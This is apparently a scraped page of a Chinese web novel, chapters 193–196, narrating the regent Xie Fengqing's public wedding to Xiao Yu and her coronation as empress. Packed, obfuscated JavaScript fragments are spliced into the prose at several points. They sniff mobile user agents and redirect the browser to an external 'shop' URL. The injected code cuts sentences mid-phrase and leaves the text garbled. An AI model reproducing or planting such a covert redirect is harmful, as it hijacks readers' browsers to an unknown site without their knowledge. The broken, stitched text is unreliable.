d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17150088|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞速掠过。 痛苦,恐惧,挣扎,涅槃…… 最终,定格在昨夜书房昏暗的烛光下,他无声流泪的颤抖,他紧紧拥抱的力度,几乎要将她揉碎在他怀里的绝望与失而复得,他哽咽着说出的“同进退,共生死”的誓言。 也定格在更久以前,桃花树下初遇的惊艳,那个白衣少年郎温润的笑容;朝堂之上并肩作战的默契,一个眼神便知彼此心意的契合;无数个挑灯夜话、共商国是的夜晚,他为她披上外袍的温柔;他替她挡下明枪暗箭的决绝;他在她疲惫时默默递上的一盏热茶…… 这个男人,在她最艰难时不曾离开,在她“死后”七日不眠不休地搜寻、强撑危局稳定朝堂、以雷霆手段清洗障碍,在她归来时,以最盛大隆重的方式,在天下人面前,许她江山为聘,许她余生相伴。 他不仅是她的爱人,更是她的知己,她的战友,她可以毫无保留托付后背的人。 她还有什么理由拒绝? 又有什么资格,辜负这山河,辜负这民心,辜负……他? 谢凤卿缓缓地,也是极其郑重地,伸出了自己的右手。 那只手,纤细,却骨节分明,带着常年握剑留下的薄茧,也带着女子特有的柔美。 她没有去接那托盘。 而是,轻轻放在了萧御捧着的托盘边缘,覆在了那幅《大周疆域全图》之上。 她的手掌纤薄,手指修长,此刻却仿佛有着千钧之力。指尖触及冰凉的蚕丝绢面,触及那细致描绘的山川河流,触及那些鲜红的印玺,也触及了他托着托盘边缘的、微微颤抖的手指。 温热的指尖,与微凉的手指相触。 萧御浑身一颤,猛地抬头,看向她。 谢凤卿也抬起眼眸,目光不再仅仅看着萧御,而是扫视全场,扫视那无数屏息凝神、等待着她的答案的面孔。她的声音,清越如凤鸣,穿透寂静,响彻云霄,带着一种开天辟地般的决绝与承诺,也带着一丝不易察觉的、只有萧御能听懂的温柔: “山河未定,何以家为?” 她的声音不大,却清晰地传入每个人耳中。 “昔日本王曾言——”她顿了顿,目光与萧御炽热的目光再次交汇,那一瞬,仿佛有无形的火花在空气中迸溅,“‘待山河大定,海晏河清,我便凤冠霞帔,堂堂正正再嫁你一次!’” 这是他们之间的私密约定,此刻却公之于众。萧御的眼眶更红了。 她深吸一口气,仿佛要将这天地间的浩然之气都吸入胸中,每一个字都如同金玉交击,铿锵有力,掷地有声: “今,北境烽火暂熄,戎狄败退;江南漕运初通,积弊待清;朝中逆党伏诛,乾坤初定;天下万民归心,新政可行!” “虽未至海晏河清之极致,然——” 她的声音陡然拔高,带着一种气吞山河的豪迈与难以言喻的柔情,目光灼灼地看着萧御: “此心已定,此志已同,此时……正当其时!” “萧御!” 第193章一起 她唤他的名字,不再是“监国亲王”,不再是“殿下”,而是直呼其名,如同最亲密的人之间最自然的呼唤。 “你的山河为聘,我——” 她微微一顿,嘴角漾开一丝极淡、却足以倾国倾城的笑意,那笑意冲破了所有的威严与冰冷,如同春风吹过冰封的湖面: “接了!” “轰——!!!” 仿佛有什么东西,在每个人心中炸开!是狂喜,是震撼,是感动,是对这旷古烁今的求婚与应允最本能的反应! 下一刻,是比之前任何一次都更加疯狂、更加整齐、更加响彻寰宇的呐喊,如同亿万雷霆同时炸响,如同九天银河倾泻而下,震得脚下的汉白玉地面都在微微颤动,震得远处宫殿的琉璃瓦簌簌作响,震得天空的飞鸟惊惶四散: “女帝大婚!!!” “山河为聘!!!” “天下大定!!!” “万岁!万岁!万岁!!!” 声浪如潮,汹涌澎湃,直上九重!百姓们跳着,喊着,哭着,笑着,将手中一切能抛洒的东西都抛向天空。红色的纸屑、花瓣、彩带如同暴雨般落下,整个广场成了欢乐的、红色的海洋。 萧御的身体,在听到“我接了”三个字时,剧烈地颤抖了一下。狂喜如同灭顶的潮水,瞬间将他淹没,冲击得他几乎站立不稳。眼眶中的泪水终于再也无法抑制,滚落下来,滑过他俊美的脸庞。他强忍着立刻站起来拥抱她的冲动,依旧保持着单膝跪地的姿势,只是那双深邃的眼眸中,已然水光氤氧,映着她绝世的身姿,也映着这**山河,映着他们共同的未来。他知道,从这一刻起,他们真正地、彻底地绑在了一起,不仅是情感的羁绊,更是命运与责任的共同体。 谢凤卿俯身,双手扶住他的手臂。 她的手温暖而有力,透过衣料传递过来坚定的力量。 萧御顺着她的力道,站起身。两人并肩而立,站在高台之下,站在数十万民众之前,站在那幅象征着**江山的图卷之上,站在彼此承诺的余生起点。 玄色蟠龙婚服与玄底金绣凤冠霞帔,并肩而立。 一个俊美如神,一个威严如凤。 一个捧山河为聘,一个接天下为诺。 一个眼中是失而复得的狂喜与深情,一个眼中是携手共进的坚定与温柔。 此情此景,此誓此约,足以让任何语言失色,让任何画师搁笔,让任何史官词穷!它将永远烙印在现场每一个人的心中,成为这个时代最鲜明的注脚,成为后世传唱不衰的传奇! “请殿下、亲王,登台——” 礼官的声音,因激动而尖锐颤抖,几乎破音。 萧御伸出手,掌心向上,等待着。 谢凤卿微微颔首,将自己的手,放入他的掌心。 十指交握。 温暖,坚定,带着彼此生命的脉动,也带着共同执掌江山、共度余生的重量与承诺。 两人携手,一步一步,踏上汉白玉的台阶,走向那象征着天圆地方、至高荣耀、也象征着他们爱情与事业新起点的大婚高台。 阳光洒在他们身上,为他们镀上金色的轮廓。玄色与金色在阳光下流光溢彩,红色霞帔与飘扬的绸带如同燃烧的火焰,与台下漫山遍野的红色海洋融为一体。 每踏上一级台阶,广场上的欢呼声就更高一分,如同为他们奏响的礼乐。 当他们终于并肩站立在高台中央,站在那对青铜凤凰雕像之间时,阳光正好升至中天最高处,毫无保留地倾泻而下,为两人披上了一层神圣的金辉。玄色与金色在阳光下流光溢彩,红色霞帔与飘扬的绸带如同燃烧的火焰。青铜凤凰在阳光下反射着古朴的光泽,仿佛也在为这对璧人祝福。 台下,是山呼海啸般的“女帝大婚”、“天下大定”、“万岁”之声。 台上,是他们紧握的双手,与彼此眼中倒映的、只有对方能懂的深情与坚定。 礼官按照简化的皇家婚礼仪程(时间仓促,且此刻仪式的意义远重于形式),开始唱诵祝词。无非是“天作之合”、“山河同庆”、“万民共仰”、“福泽绵长”之类吉祥话。声音在高台上回荡,却似乎被淹没在更大的声浪中。 最后,是交拜。 不是夫妻对拜,而是——携手,共拜山河! 两人转身,并肩而立,面向南方(象征天下),深深一揖。 这一拜,拜的是**疆土,亿兆黎民,是肩上沉甸甸的责任,是未来需要共同开创的盛世。一揖到底,虔诚而庄重。 接着,转身,再拜苍天厚土,谢天地造化,许人间正道,愿风调雨顺,国泰民安。同样的一揖到底。 没有第三拜。 因为此刻,他们不仅是即将成为夫妻的爱人,更是生死与共的盟友,是君王与最忠诚的股肱,是这天下最紧密的命运共同体。夫妻之礼已融于山河之诺中,夫妻之情已化为共守天下的决心,无需再刻意区分。他们的关系,早已超越了简单的婚姻,上升到了灵魂与事业的深度融合。 礼成。 简短的仪式,却因其特殊的时间(劫后归来)、特殊的地点(大婚高台)、特殊的身份(摄政王与监国亲王)、特殊的“聘礼”(**山河与万民**),而被赋予了载入史册的、无与伦比的意义。这不仅仅是一场婚礼,这是一次**宣言,一次权力交接的预演,一次向全天下昭示的、牢不可破的联盟。 史官在台下,手抖得几乎握不住笔,墨迹淋漓,却依旧以近乎虔诚的态度,记录下这注定成为传奇的一幕: “午时正,于承天门外大婚高台,监国亲王萧御,捧《万民**书》及《大周疆域全图》,单膝跪地,以山河为聘,求婚于摄政王谢凤卿。卿应之,曰:‘山河未定,何以家为?今时正当其时,你的山河为聘,我接了!’遂携手登台,于烈日金辉下,万众瞩目中,行简礼,拜山河天地。是时,万民高呼‘女帝大婚’、‘天下大定’,声震百里,红妆漫野,蔚为千古奇观。后世称:‘山河为聘,天下大婚 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谢凤卿微微摇头,目光悠远地望着远方巍峨的宫墙,望着更广阔的蓝天。“比断魂崖下,好太多了。”她顿了顿,声音里带着一丝不易察觉的沙哑与释然,补充道,“而且,值得。” 为了这一刻,为了这天下,为了站在身边的他,再累也值得。 萧御握紧她的手,千言万语,堵在胸口,最终只化作掌心传递的温度,以及一句低沉的、承载了太多情感的:“凤卿……” “嗯。”谢凤卿应了一声,没有多余的话语,只是回握了他的手,目光坚定地看着他,“一起。” 简单的两个字,却重逾泰山。 一起面对朝堂的风波,一起治理这**江山,一起开创太平盛世,一起白头到老。 正午的阳光,将两人的影子投在高台之上,紧密相连,不分彼此,融为一个整体。 如同他们的命运,从今日起,也将彻底交织在一起,共同面对前方的一切——无论是锦绣坦途,还是荆棘密布;无论是四海升平,还是惊涛骇浪。 凤冠霞帔,是归来的战袍,也是大婚的嫁衣。 满城红妆,是百姓的祝福,是历史的见证,更是新时代的底色。 天下大定,是过去的承诺,是现在的起点,更是未来需要共同守护和开创的盛世图景。 而她和他,将携手并肩,共同执笔,在这幅名为“凤翔”的宏大画卷上,写下最波澜壮阔、最光辉灿烂的篇章。 路,还很长。 但,他们已经在一起。 这就够了。 午后的时光,在一种奇异的、充满期待的静谧中流逝。 皇宫内外,依旧是人山人海。许多人干脆席地而坐,吃着自带的干粮,喝着水,等待着傍晚那场更重要的仪式。孩子们在人群缝隙中穿梭玩耍,脸上带着兴奋的红晕,追逐着被风吹起的红色纸屑。老人们则三五成群,低声议论着今日所见所闻,语气中满是感慨与激动。 第194章真正的重头戏,要开始了 “老汉我活了七十岁,从未见过这般景象……”一个白发老翁抹着眼泪,“摄政王殿下……不,是女帝陛下,真是天神下凡啊!” “可不是嘛!那身气度,那番话,听得我热血沸腾!”一个年轻的书生激动地挥着手,“女子又如何?能为民做主,能开创盛世,便是好皇帝!我看这大周,要迎来一位千古明君了!” “那监国亲王也是痴情种子,山河为聘啊……啧啧,古往今来,谁有过这般手笔?”一个妇人感慨着,眼中满是羡慕,“真是郎才女貌,天作之合!” “只盼着陛下登基后,新政真能推行下去,咱们老百姓的日子,能越来越好……”一个穿着补丁衣服的中年汉子,憨厚地笑着,眼中满是希冀。 皇宫内,则是一片紧张有序的忙碌。 礼部、鸿胪寺、内务府的官员们忙得脚不沾地,额头上全是汗,嗓子都喊哑了。虽然“大婚加冕”之事是昨日才最终定下,但萧御早已暗中准备了数月,各种预案、物资、人员都储备充分。从得知谢凤卿生还可能那一刻起,他就在为今日布局。此刻指令一下,整个庞大的官僚机器立刻高效运转起来。 金銮殿前的广场,已被彻底清空、布置。 这里是皇宫中轴线上最开阔、最庄严的场所,历来是举行登基大典、祭祀天地、接受万国来朝等最重大仪式的地方。此刻,它被装点得既庄严肃穆,又透着一丝不同以往的、属于新时代的气息。 汉白玉铺就的广场中央,筑起了一座九级高的圆形祭坛。祭坛通体以白色大理石砌成,在午后阳光下泛着温润的光泽。边缘雕刻着繁复的云纹和龙凤图案,线条流畅,栩栩如生。坛顶平台宽阔,可容纳数十人站立。平台中央设有一座青铜巨鼎,三足两耳,鼎身铭刻着古老的祭文与山河图案,鼎中香烟缭绕,上好的檀香散发出沉静而悠远的香气,随风飘散。 祭坛正前方,是巍峨雄伟的金銮殿。金黄色的琉璃瓦在夕阳下闪耀着富丽堂皇的光芒,如同流淌的黄金。重檐庑殿顶如同展翅欲飞的巨鸟,檐角蹲踞着形态各异的脊兽,在光影中显得格外威严。朱红色的殿柱需要数人合抱,上面雕刻着蟠龙祥云,龙身蜿蜒,鳞爪飞扬。殿门洞开,可以看见里面御座上方的“正大光明”匾额,黑底金字,在幽深的殿内闪烁着神秘的光泽。 从祭坛到金銮殿的御道两侧,陈列着全套天子仪仗。旌旗如林,有日月旗、风云旗、星辰旗、山河旗等;伞盖如云,有华盖、曲盖、方伞等;兵器仪仗,金瓜、钺斧、朝天镫、戟、枪、刀、剑,在夕阳下寒光闪闪;还有各种礼器、乐器、符节……林林总总,在傍晚的微风中轻轻摆动,肃穆而威严,无声地诉说着皇权的至高无上。 广场东西两侧,搭建起了高大的观礼台。东侧是文武百官的席位,按照品级排列,此刻已有官员陆续就座,个个正襟危坐,神色肃然。西侧则是各国使节、宗室代表、地方大员代表、以及有功将士、耆老贤达的席位,人员更多,服饰各异,气氛也更显复杂微妙。 酉时初刻 夕阳西斜,将天边的云彩染成了绚烂的金红色、橙紫色,如同打翻了神的调色盘,又像是织女用最华丽的丝线在天幕上织就的锦缎。万丈霞光倾泻而下,将整个皇宫建筑群笼罩在一片辉煌神圣的光晕之中。琉璃瓦反射着金光,汉白玉地面流淌着暖色,连空气都仿佛染上了淡淡的金粉。 钟鼓齐鸣。 浑厚的钟声来自景阳钟楼,一声接着一声,悠远绵长,仿佛来自远古的呼唤;低沉的鼓声来自午门城楼,节奏分明,如同大地的心跳。钟鼓声交织在一起,庄严肃穆,穿透暮色,传遍京城的每一个角落,宣告着重大仪式的开始。 这是仪式开始的信号,也是最后的集结令。 观礼台上,所有人早已按序就座,鸦雀无声。文武百官穿着最隆重的朝服,绯袍玉带,补子鲜明;各国使节也换上了本民族最华贵的礼服,珠光宝气,争奇斗艳。每个人的脸上,都带着难以掩饰的紧张、期待与敬畏。一些年老持重的大臣,手指无意识地捻着胡须;年轻的官员则忍不住偷眼望向祭坛方向;使节们交头接耳,低声议论,目光中充满了好奇与评估。 广场四周,禁军林立,甲胄鲜明,枪戟如林,在夕阳下反射着冷冽的光芒。他们如同雕塑般站立,面无表情,唯有眼中偶尔闪过的精光,显示着他们的警惕。肃杀之气弥漫在空气中,与祭坛上的檀香、空气中的喜庆因子混合,形成一种奇异而凝重的氛围。 百姓们被拦在更外围的警戒线外,踮着脚尖,伸长了脖子,望着广场中心。人潮依旧汹涌,却比白天安静了许多,一种近乎屏息的期待感在弥漫。 “咚——咚——咚——” 伴随着沉重而整齐的脚步声,一队玄甲武士,从金銮殿两侧的廊庑中鱼贯而出。 依旧是风雪十八骑。 他们再次更换了甲胄,此刻的铠甲更具仪式感。玄甲依旧,但在关键部位增添了金色的云纹与凤羽纹饰,头盔上的红缨换成了金色的流苏,在晚风中轻轻飘动。十八人分成两列,从金銮殿门口,迈着精准划一的步伐,一直排列到祭坛之下,如同两排沉默的、不可逾越的界碑,守护着这条通往权力巅峰的道路。 然后,是萧御。 他换上了一身更为正式的玄色衮服。虽然仍非天子规格的十二章纹(那是皇帝专属),但已极其接近,仅在纹样数量和某些细节上有所区别。玄色为底,上用金线、彩线绣着日月星辰、山龙华虫等九章图案,庄重华美至极,行走间流光溢彩。他头戴九旒冕冠,旒珠以青玉制成,垂落额前,遮住部分容颜,却更显威仪深沉,令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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所有人的精神为之一振,脊背不由自主地挺直! 来了!真正的重头戏,要开始了! 紧接着,是庄严恢宏的礼乐奏响。编钟清越,石磬沉厚,笙箫悠扬,笛声清脆……各种乐器在宫廷乐师的演奏下,合奏出古老而神圣的乐章,那是《承云》之乐,相传为黄帝所作,唯有最盛大的典礼、祭祀天地、新帝登基方可使用。乐声恢宏磅礴,如同山呼海啸,又如凤鸣九天,充满了神圣的仪式感与无上的威严。 在礼乐与号角声中,在金红色的漫天霞光里,在无数道目光的注视下—— 一顶十六人抬的巨型肩舆,缓缓从太庙方向出现,沿着中轴线御道,向祭坛行来。 肩舆通体以珍贵的紫檀木打造,木质深沉,泛着暗紫色的光泽。舆身镶嵌着金银掐丝的花纹,镶嵌着各色宝石,在夕阳下流光溢彩,华贵无比。舆顶呈穹窿状,覆盖着明黄色的绸缎,四角悬挂着纯金打造的铃铛,随着行进发出清脆悦耳、富有韵律的声响,与礼乐相和。舆身四周垂落着半透明的鲛绡纱帘,纱帘轻薄如雾,上面用银线绣着飞舞的凤凰与祥云图案,在光线下若隐若现,如同仙境。 透过纱帘,可以隐约看见里面端坐的人影。身姿挺拔,凤冠的轮廓依稀可辨。 第195章禅位诏书! 肩舆前后,各有八名身着彩衣的宫女执仪仗、捧香炉。宫女们穿着统一的绯色宫装,梳着高髻,面容肃穆。再外围,则是更多的宫廷侍卫,铠甲鲜明,步伐整齐。 队伍行进的速度很慢,带着一种不容置疑的、近乎凝固的威严,每一步都仿佛踏在时间的刻度上,踏在历史的心跳上。礼乐声、号角声、金铃声、整齐的脚步声交织在一起,形成一种庄重而神圣的韵律。 终于,肩舆在祭坛之下停住。 宫女上前,分列两侧,垂首肃立。 乐声渐息。 全场再次陷入极致的寂静,连风声都仿佛停止了。 所有人的心都提到了嗓子眼,目光死死盯住那垂落的鲛绡纱帘。 为首的两名宫女,伸出戴着白色手套的手,轻轻掀开纱帘。 一只穿着玄色绣金凤履的脚,踏了出来,踩在早已铺好的、从肩舆一直延伸到祭坛顶端的猩红地毯之上。 那凤履以玄色锦缎为面,鞋头绣着金色的凤凰,凤眼以细小的红宝石点缀。鞋履小巧,却稳稳地踏在地毯上,仿佛踏在了所有人的心上。 然后,是整个人。 谢凤卿。 她再次出现在了所有人的视线中。 依旧是那身玄底金绣九凤冠霞帔。 但似乎,又有什么不同了。 或许是夕阳的金辉为她镀上了一层神性的光边,让她整个人仿佛在发光;或许是经历了午时大婚的万众见证与情感冲击,她身上的气势更加内敛,却也更加磅礴厚重,如同深渊,深不可测;又或许,是即将到来的加冕,让她眼中那属于王者的光芒,达到了前所未有的璀璨夺目,那光芒冰冷而睿智,仿佛能洞穿时空,照见未来。 凤冠上的珍珠流苏珍珠流苏在暮色微风中轻轻摇曳,碰撞出细碎清音。霞帔长长地拖曳在猩红地毯之上,如同流淌的熔金与鲜血混合而成的河流,在夕阳余晖里燃烧。她左手,依旧握着那柄重铸的桃花剑,虎符悬挂,沉稳如山,剑鞘上的七星宝石在斜照里流转着幽微光华。 她的脸上,没有任何表情。平静,淡漠,如同万年不化的玄冰,又如同深不见底的寒潭,任谁也无法窥探其下是汹涌暗流抑或亘古寂静。只有那双眼眸,在珍珠流苏的缝隙后,偶尔闪过一丝冰冷而睿智的光芒,仿佛能洞穿一切虚伪与侥幸,直抵事物本质,照见人心幽微。这目光扫过之处,观礼台上的旧党官员们不由自主地瑟缩,使节们收敛了探究,连最桀骜的草原部落代表也下意识地端正了坐姿。 她一步一步,踏上祭坛的汉白玉台阶。 一步,一步。 步伐不快,甚至可以说得上从容,却异常坚定沉稳。玄色凤履踩在猩红地毯上,悄然无声,但那每一步落下,都仿佛踩在时间的节点上,踩在历史的脉搏上,踩在场中每一个人的心尖上。九级台阶,不高,却仿佛通向九重天阙。晚风拂动她的霞帔与流苏,衣袂飘飘,恍若神女临凡,又似战神归位。 全场数十万人,屏息凝神,目光如同被无形的线牵引,追随着她的身影,看着她一步步登上象征九五至尊的九级高台,看着她走过雕刻着江河田野、市井山川的台基,看着她最终,立于祭坛之巅,立于青铜巨鼎之前,立于漫天燃烧的霞光之下,立于这古老帝国权力结构的最中心。 夕阳,在这一刻,恰好沉入西边宫殿连绵的飞檐之下,最后一缕最为辉煌灿烂的余晖,如同最精准的聚光灯,不偏不倚,将她的身影完全笼罩!将她身后巍峨的金銮殿、肃立的仪仗、乃至更远处苍茫的天空,都染成了恢宏的背景。 玄色的嫁衣在金光中变成暗金色,仿佛披着一身流动的、凝固的暮色。金色的凤凰纹样仿佛真的活了过来,在衣料上展翅欲飞,每一片羽毛都闪烁着生命的光泽。红色的霞帔如同燃烧的晚霞本身,又像是从她身上蔓延出的、无边无际的烈焰与权柄。凤冠上的东珠与各色宝石,折射出令人无法逼视的璀璨光华,与天边的霞彩争辉。 她整个人,如同从神话中走出的神祇,踏着祥云与烈焰降临;又如同一柄历经淬炼、终于出鞘的绝世神剑,剑锋所指,便是新时代的方向! 萧御在高阶之上,看着祭坛上那个独自沐浴在最后天光中的身影,胸腔里充斥着难以言喻的情感。骄傲,爱慕,敬畏,以及一种“吾道不孤”、“得偿所愿”的深深庆幸与满足。他的凤卿,他挚爱的女子,他志同道合的伙伴,终于要走上那个位置了。那个她凭借自己的惊世才华、无双胆魄、卓著功勋与巨大牺牲,理应获得,也必须由她来坐的位置。他看着她挺直的背影,看着她手握桃花剑、悬虎符的英姿,心中既有一丝即将“放手”的微妙怅然(他知道,加冕后,她将是君,他终究是臣),但更多的,是尘埃落定的踏实与并肩开创未来的豪情。 他深吸一口气,那气息悠长而平稳,压下所有翻腾的心绪。向前一步,玄色衮服的下摆拂过光洁的地面。 他从身旁礼官捧着的紫檀木托盘中,取过一卷明黄色的诏书。诏书以金线捆扎,两端玉轴,沉重无比。 他展开诏书,双手稳如磐石。声音以内力催发,清朗浑厚,如同黄钟大吕,每一个字都清晰地响彻整个广场,甚至传到了更外围翘首以盼的百姓耳中: “奉天承运,皇帝诏曰:” 仅仅一个起首,便让全场气氛为之一肃。这是正式的禅位诏书,代表法统的传承。 “朕自登基以来,体弱多病,难堪大任,致使朝纲不振,天下多艰。”萧御的声音平稳而庄重,念着那位昏迷中幼帝的名义,“幸有摄政王谢凤卿,天纵奇才,文武兼资,临危受命,总揽朝政。三载以来,外御强虏,内修政理,推行新政,革除积弊,泽被苍生,功在社稷。” 他的目光扫过台下百官,尤其在几位顽固旧党脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的声音,庄重,虔诚,不带一丝一毫的勉强与虚假。每一个字都发自肺腑。他并非仅仅在完成一个仪式,他是在将他守护的江山,他深爱的国家,他期盼的未来,亲手递到他认为最能带领它走向繁荣昌盛的人手中。这个人,恰巧也是他愿以余生相付的爱人。 祭坛之上,谢凤卿垂眸,看着跪在自己面前的萧御,看着那卷象征着无上权柄的明黄诏书。 她没有立刻去接。 而是缓缓抬起头,目光再次扫过全场。 目光如寒冰,如利剑,如深潭。扫过那些神色各异、或激动或复杂或畏惧的文武百官,扫过那些或震惊、或敬畏、或好奇、或算计的各国使节,扫过远处那黑压压的、望不到尽头、此刻却寂静无声的人海。她的目光在每一个人脸上停留的时间都极短,却又仿佛看透了他们的内心。 第196章臣等,参见陛下 她的声音,平静地响起,依旧不高亢,却比萧御以内力催发的声音,更加清晰地传入每个人的耳中,仿佛不是通过空气传播,而是直接响在每个人的心头,带着一种奇异的、直击灵魂的力量: “天命?” 她轻轻重复这两个字,嘴角似乎勾起一抹极淡的、略带嘲讽的弧度。这弧度很轻微,却让许多笃信“君权神授”的老臣心头一跳。 “本王不信天命。” 此言一出,全场皆惊!连萧御都忍不住微微抬了下眼,看向她。虽然知道她的性子,但在如此庄重的禅位加冕仪式上,公然否定“天命”,仍是石破天惊之举!观礼台上响起一片压抑的惊呼和抽气声。 “本王只信——”谢凤卿的声音陡然转厉,如同出鞘的利剑,带着斩断一切虚妄、破除一切迷障的锋芒,清越而坚定,回荡在暮色渐浓的天空下,“事在人为!” “北境烽火,是边关将士用血肉之躯、舍生忘死扑灭!非天降神兵!” “江南漕弊,是漕工纤夫用血泪汗水、肩扛手抬疏通!非河神显灵!” “朝中奸佞,是忠直之士用身家性命、前赴后继**!非天雷诛邪!” “天下安定,是亿兆黎民用辛勤劳作、春种秋收获来!非风调雨顺便可坐享!” 她的语速不快,但每一个字都掷地有声,如同重锤敲击在每个人的心鼓上。 “何来天命?唯有人心!唯有实干!唯有无惧无畏、勇往直前的行动!” 她的话,如同惊雷,炸响在每一个习惯了“君权神授”观念的人心中!尤其是那些各国使节,更是露出不可思议的神情——这位即将成为女帝的君王,竟然在登基仪式上,公开宣称“不信天命”,只信“事在人为”?这简直是对传统皇权根基的挑战! 但接下来,她的话,却让他们,也让所有屏息倾听的百姓,心潮澎湃,热血沸腾: “今,陛下禅让,亲王恭请,百官静候,万民仰望。” 她顿了顿,目光如电,扫过全场,那目光中蕴含的力量,让所有骚动瞬间平息。 “此非天命所归,实乃——时势所迫,民心所向,历史之必然选择!” “旧制已腐,积重难返,非雷霆手段、破釜沉舟、革故鼎新,不足以扫除阴霾、开辟新天!” “女子之身?”她轻笑一声,那笑声里带着无与伦比的自信与傲然,也带着对陈腐观念的睥睨,“能提笔安天下,能上马定乾坤,能富民强国,能开创盛世者,便是这江山最合格的主人!与是男是女,有何干系?若只因身为女子,便否定其才其德其功,岂不是天下最大的不公与荒谬?” 这番话,说得在场许多女子热泪盈眶,激动得浑身发抖。女学生、女医者、女商人、普通妇人……她们感受到了一种前所未有的认同与力量。 “这皇位,不是上天赐予,不是祖宗遗留,是责任!是担当!是亿兆生民托付的、沉甸甸的希望!是历史车轮前行至此,必须有人肩负的使命!” 她终于伸出手。 不是去接那卷象征着“天命”与“法统”的诏书。 而是,握住了萧御捧着诏书的手。 连同诏书,一起握住。 她的手温暖而坚定,带着薄茧,也带着足以掌握乾坤的力量。 然后,她微微用力,将他拉了起来。 这个动作,打破了“君跪臣接”的传统禅让仪式,变成了平等的携手,变成了共同面对。 两人再次并肩,立于祭坛之巅,立于青铜巨鼎之旁,立于这象征天地祖宗、接受万民瞩目的最高处。 谢凤卿握着萧御的手,也握着那卷禅位诏书,面向天下,面向苍穹,面向过去与未来,声音清越如凤凰长鸣,带着开创新纪元的磅礴气概与无上决心: “今日,我谢凤卿,在此祭坛,对天,对地,对列祖列宗,对天下万民立誓——” 她的声音并不如何咆哮,却带着一种奇异的穿透力与感染力,仿佛与天地共鸣: “接此皇位,非为权欲,非为虚名!” “只为,扫清寰宇,再造乾坤!涤荡污浊,还天下朗朗青天!” “只为,推行新政,富民强国!使耕者有其田,织者有其衣,商者畅其途,学者安其心!” “只为,天下女子,皆有读书明理、施展抱负、出人头地之机!不再困于闺阁,蹉跎此生!” “只为,四海升平,万邦来朝!使我大周文明,光耀四方,泽被后世!” “只为,开创一个前所未有的——海晏河清、国强民富、文明昌盛之凤翔盛世!” “此志,天地共鉴,鬼神同督!” “此心,日月可昭,山河为证!” “若违此誓,人神共弃,天地不容!” 誓言铮铮,如同金铁交鸣,又如黄钟大吕,一字一句,重重地砸在祭坛的汉白玉上,砸进每个人的心里,回荡在暮色渐浓的天空之下,回荡在历史的长河之中! 这一刻,再也没有人怀疑她的决心,她的能力,她的……合法性!不是天命的合法性,是民心的合法性,是历史的合法性,是她用三年摄政之功、七日生死之劫、今日惊世之言换来的、无可争议的合法性!她将皇权从虚无缥缈的“天授”,拉回到了实实在在的“民授”与“功授”! “请——陛下——加冕!” 礼官颤抖着,嘶声高喊,声音因激动而尖锐,甚至带上了哭腔。这一声呼喊,仿佛打开了某个开关。 早已等候在祭坛侧后方的宫女们,捧着紫檀木托盘,低眉垂首,踩着细碎的步子,恭敬上前。 托盘上覆盖着明黄绸缎。礼官上前,深吸一口气,郑重地揭开绸缎。 露出的,不是传统的天子冕旒冠(那是男子制式),而是一顶特制的、更加华丽威严、也更符合女性身份的——九凤金冠。 金冠以纯金打造,造型比之前的婚冠更加宏大、更加复杂。主体是一个镶嵌着无数细密珍珠和宝石的圆箍,圆箍之上,九只形态各异的金凤盘旋交错,或引颈高歌,或展翅欲飞,或回首顾盼,或俯首衔珠。每一只金凤都栩栩如生,羽翼纹理清晰可见,凤眼以罕见的黑曜石镶嵌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17160043|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幽深神秘。九凤共同拱卫着冠顶一颗硕大无比的夜明珠,那夜明珠在尚未完全暗下来的天色中,已开始散发出柔和而明亮的月白色光晕,如同捧着一轮小小的明月。冠后垂下十二条珍珠旒,每串旒珠一百零八颗,颗颗圆润饱满,光泽莹润,象征十二时辰、周天运转、宇宙轮回。 这顶金冠,不仅象征着至高无上的皇权,更融入了凤凰的元素,彰显了女主天下的独特身份,其精美与威严,远超历代帝王冠冕。 萧御松开握着诏书的手(诏书已由礼官接过,恭敬地供奉于祭坛一侧的香案上),亲自从托盘上,捧起了那顶沉重而华美的九凤金冠。 金冠入手沉甸甸的,不仅是黄金与珠宝的重量,更是江山社稷、亿兆民生的重量。 他转身,面向谢凤卿。 四目相对。 无尽的情意、信任、支持、期许,尽在这深深的一望之中。无需言语,他们彼此都懂。他眼中是“吾妻即吾君”的虔诚与骄傲,她眼中是“与君共天下”的坚定与温柔。 谢凤卿微微低头。 这个动作,代表着接受,代表着将象征皇权的冠冕授予她的信任,也代表着对他这个“授予者”身份的认可。 萧御双手捧着金冠,如同捧着稀世珍宝,如同捧着整个天下的期望,郑重地、稳稳地、带着一种神圣的仪式感,戴在了她的头上,取代了原先那顶婚冠。 金冠落定,微沉。 珍珠旒垂落,在她面前轻轻晃动,珠光映着她清丽绝伦又威严无比的面容,平添了几分神秘与威仪。 冠顶的夜明珠光华流转,与她眼中的光芒交相辉映。 